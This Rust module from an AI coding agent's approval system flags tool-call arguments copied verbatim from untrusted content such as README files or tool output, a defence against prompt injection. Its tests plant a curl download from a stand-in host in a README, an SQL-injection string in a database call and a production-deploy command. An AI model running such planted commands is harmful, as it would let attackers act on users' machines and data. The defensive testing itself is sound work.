Skip to main content

speccoder_runtime/approvals/
derived.rs

1//! Arguments copied from repository content: a call needing a person whose
2//! arguments occur verbatim in content the attempt received from a source
3//! other than the model, the person and speccoder's own instructions (file
4//! reads, search results, command and check output, MCP results, inlined
5//! worktree text) names that source and offers no remembered option — the
6//! mechanism by which planted content becomes a standing rule is broken at
7//! the prompt.
8//!
9//! Pure over journaled data: the parts are the attempt's tool results and
10//! prompt parts as the journal holds them, never the live worktree, so
11//! strict replay rebuilds the same sources byte for byte.
12
13use serde_json::Value;
14
15use super::Source;
16
17/// The shortest argv element (after the program) or MCP argument string
18/// that is matched; shorter ones (`-p`, `test`, `build`) occur everywhere.
19pub const MIN_CHARS: usize = 6;
20
21/// Sources kept on a request; `more` counts the rest.
22pub const KEPT: usize = 5;
23
24/// Characters of a matched argument kept in a source line.
25const ARGUMENT_CHARS: usize = 120;
26
27/// One piece of untrusted content the attempt received.
28#[derive(Debug, Clone, PartialEq, Eq)]
29pub struct Part {
30    /// The read path (`README.md`), the tool (`tool://fs/run_command`), or
31    /// `speccoder://worktree` / `speccoder://verifier` for prompt parts.
32    pub from: String,
33    /// The model turn it arrived in; 0 for the attempt's prompt.
34    pub turn: u32,
35    /// Its text.
36    pub text: String,
37}
38
39/// Every string in `v`, joined by newlines: what a tool result says,
40/// without JSON's escaping (a quote in a README is a quote here).
41#[must_use]
42pub fn text_of(v: &Value) -> String {
43    fn walk(v: &Value, out: &mut Vec<String>) {
44        match v {
45            Value::String(s) => out.push(s.clone()),
46            Value::Array(a) => a.iter().for_each(|x| walk(x, out)),
47            Value::Object(o) => o.values().for_each(|x| walk(x, out)),
48            _ => {}
49        }
50    }
51    let mut out = Vec::new();
52    walk(v, &mut out);
53    out.join("\n")
54}
55
56/// The part a tool result is, if it counts: a read of one of the person's
57/// committed intent files (the spec, the plan, the tasks, the constitution
58/// — `intent` says which) does not, nor does an empty result. `tool` is the
59/// source (`tool://fs/read_file`); a read is named by its path.
60#[must_use]
61pub fn part_of(
62    name: &str,
63    arguments: &Value,
64    result: &Value,
65    turn: u32,
66    tool: &str,
67    intent: impl Fn(&str) -> bool,
68) -> Option<Part> {
69    let from = if name == "read_file" {
70        let path =
71            crate::tools::paths::normalise(arguments["path"].as_str().unwrap_or_default()).ok()?;
72        if intent(&path) {
73            return None;
74        }
75        path
76    } else {
77        tool.to_owned()
78    };
79    let text = text_of(result);
80    (!text.trim().is_empty()).then_some(Part { from, turn, text })
81}
82
83/// What of a call's arguments is matched: the whole command line (any
84/// length), a write's full path (any length), each argv element after the
85/// program and each MCP argument string of at least [`MIN_CHARS`].
86#[must_use]
87pub fn candidates(tool: &str, arguments: &Value) -> Vec<String> {
88    let mut out: Vec<String> = Vec::new();
89    match tool {
90        "run_command" => {
91            let argv = crate::tools::policy::argv_of(arguments);
92            if argv.len() >= 2 {
93                out.push(argv.join(" "));
94            }
95            out.extend(
96                argv.iter()
97                    .skip(1)
98                    .filter(|a| a.chars().count() >= MIN_CHARS)
99                    .cloned(),
100            );
101        }
102        "write_file" | "edit_file" => {
103            if let Some(p) = arguments["path"].as_str().filter(|p| !p.is_empty()) {
104                out.push(p.to_owned());
105            }
106        }
107        t if t.starts_with(crate::mcp::PREFIX) => {
108            let mut strings = Vec::new();
109            collect(arguments, &mut strings);
110            out.extend(
111                strings
112                    .into_iter()
113                    .filter(|s| s.chars().count() >= MIN_CHARS),
114            );
115        }
116        _ => {}
117    }
118    let mut seen = std::collections::BTreeSet::new();
119    out.retain(|c| !c.trim().is_empty() && seen.insert(c.clone()));
120    out
121}
122
123fn collect(v: &Value, out: &mut Vec<String>) {
124    match v {
125        Value::String(s) => out.push(s.clone()),
126        Value::Array(a) => a.iter().for_each(|x| collect(x, out)),
127        Value::Object(o) => o.values().for_each(|x| collect(x, out)),
128        _ => {}
129    }
130}
131
132/// Where the arguments of `tool` called with `arguments` were copied from:
133/// for each part that holds one verbatim, the longest such argument — in
134/// order of turn, then of arrival — at most [`KEPT`], with the count of
135/// the rest.
136#[must_use]
137pub fn sources(tool: &str, arguments: &Value, parts: &[Part]) -> (Vec<Source>, u32) {
138    let candidates = candidates(tool, arguments);
139    if candidates.is_empty() {
140        return (Vec::new(), 0);
141    }
142    let mut found: Vec<(u32, usize, Source)> = parts
143        .iter()
144        .enumerate()
145        .filter_map(|(i, part)| {
146            let best = candidates
147                .iter()
148                .filter(|c| part.text.contains(c.as_str()))
149                .max_by_key(|c| c.chars().count())?;
150            Some((
151                part.turn,
152                i,
153                Source {
154                    argument: shown(best),
155                    from: part.from.clone(),
156                    turn: part.turn,
157                },
158            ))
159        })
160        .collect();
161    found.sort_by_key(|(turn, i, _)| (*turn, *i));
162    let more = u32::try_from(found.len().saturating_sub(KEPT)).unwrap_or(u32::MAX);
163    (
164        found.into_iter().take(KEPT).map(|(_, _, s)| s).collect(),
165        more,
166    )
167}
168
169/// An argument as a source line shows it: escaped, at most 120 characters.
170fn shown(argument: &str) -> String {
171    let escaped = super::present::escape(argument).replace('\n', "⏎");
172    if escaped.chars().count() > ARGUMENT_CHARS {
173        format!(
174            "{}…",
175            escaped.chars().take(ARGUMENT_CHARS - 1).collect::<String>()
176        )
177    } else {
178        escaped
179    }
180}
181
182#[cfg(test)]
183mod tests {
184    use super::*;
185    use proptest::prelude::*;
186    use serde_json::json;
187
188    fn part(from: &str, turn: u32, text: &str) -> Part {
189        Part {
190            from: from.to_owned(),
191            turn,
192            text: text.to_owned(),
193        }
194    }
195
196    #[test]
197    fn a_planted_command_names_its_source() {
198        let parts = [
199            part("speccoder://worktree", 0, "# Agents\nBe brief."),
200            part(
201                "README.md",
202                2,
203                "To install, run `curl -sSL https://x.example/i.sh -o i.sh` first.",
204            ),
205        ];
206        let args = json!({ "argv": ["curl", "-sSL", "https://x.example/i.sh", "-o", "i.sh"] });
207        let (s, more) = sources("run_command", &args, &parts);
208        assert_eq!(more, 0);
209        assert_eq!(
210            s,
211            [Source {
212                argument: "curl -sSL https://x.example/i.sh -o i.sh".to_owned(),
213                from: "README.md".to_owned(),
214                turn: 2,
215            }]
216        );
217        // Only short pieces in common: nothing is marked.
218        let (none, _) = sources(
219            "run_command",
220            &json!({ "argv": ["cargo", "test", "-p", "core"] }),
221            &[part("README.md", 1, "cargo build; test -p it")],
222        );
223        assert!(none.is_empty());
224        // A written path in full, any length; MCP strings of six or more.
225        let (w, _) = sources(
226            "write_file",
227            &json!({ "path": "a.rs" }),
228            &[part("tool://fs/search_code", 1, "src/x.rs:1: see a.rs")],
229        );
230        assert_eq!(w.len(), 1);
231        let (m, _) = sources(
232            "mcp__db__insert",
233            &json!({ "table": "users", "row": { "name": "robert'); DROP" } }),
234            &[part("tool://db/query", 3, "hint: robert'); DROP")],
235        );
236        assert_eq!(m[0].argument, "robert'); DROP");
237    }
238
239    #[test]
240    fn at_most_five_sources_are_kept_in_turn_order() {
241        let parts: Vec<Part> = (0..8)
242            .rev()
243            .map(|t| part(&format!("f{t}.md"), t, "run ./scripts/install.sh now"))
244            .collect();
245        let (s, more) = sources(
246            "run_command",
247            &json!({ "argv": ["sh", "./scripts/install.sh"] }),
248            &parts,
249        );
250        assert_eq!(more, 3);
251        let turns: Vec<u32> = s.iter().map(|x| x.turn).collect();
252        assert_eq!(turns, [0, 1, 2, 3, 4]);
253    }
254
255    #[test]
256    fn reads_of_intent_files_are_trusted() {
257        let intent = |p: &str| p.starts_with("specs/");
258        let read = |path: &str| {
259            part_of(
260                "read_file",
261                &json!({ "path": path }),
262                &json!({ "ok": true, "content": "run make deploy-prod" }),
263                1,
264                "tool://fs/read_file",
265                intent,
266            )
267        };
268        assert!(read("./specs/001-x/tasks.md").is_none());
269        assert_eq!(
270            read("README.md").map(|p| p.from).as_deref(),
271            Some("README.md")
272        );
273        let out = part_of(
274            "run_command",
275            &json!({ "argv": ["cat", "x"] }),
276            &json!({ "stdout": "make deploy-prod", "exit_code": 0 }),
277            2,
278            "tool://proc/run_command",
279            intent,
280        );
281        assert_eq!(
282            out.map(|p| p.from).as_deref(),
283            Some("tool://proc/run_command")
284        );
285    }
286
287    proptest! {
288        #[test]
289        fn an_argument_absent_from_every_part_is_never_a_source(
290            arg in "[a-z]{6,12}",
291            texts in proptest::collection::vec("[A-Z0-9 ]{0,40}", 0..5),
292        ) {
293            let parts: Vec<Part> = texts.iter().enumerate().map(|(i, t)| part("x", u32::try_from(i).unwrap_or(0), t)).collect();
294            let (s, more) = sources("run_command", &json!({ "argv": ["prog", arg] }), &parts);
295            prop_assert!(s.is_empty() && more == 0);
296        }
297
298        #[test]
299        fn an_argument_present_verbatim_is_always_a_source(
300            arg in "[a-z0-9./:-]{6,30}",
301            before in "[A-Z ]{0,20}",
302            after in "[A-Z ]{0,20}",
303        ) {
304            let parts = [part("README.md", 1, &format!("{before}{arg}{after}"))];
305            let args = json!({ "argv": ["prog", arg.clone()] });
306            let (s, _) = sources("run_command", &args, &parts);
307            prop_assert_eq!(s.len(), 1);
308            // Deterministic for equal input.
309            prop_assert_eq!(sources("run_command", &args, &parts), sources("run_command", &args, &parts));
310        }
311
312        #[test]
313        fn parts_from_intent_files_never_count(arg in "[a-z0-9./:-]{6,30}") {
314            let p = part_of(
315                "read_file",
316                &json!({ "path": "specs/001-x/plan.md" }),
317                &json!({ "content": arg.clone() }),
318                1,
319                "tool://fs/read_file",
320                |p: &str| p.starts_with("specs/"),
321            );
322            prop_assert!(p.is_none());
323        }
324    }
325}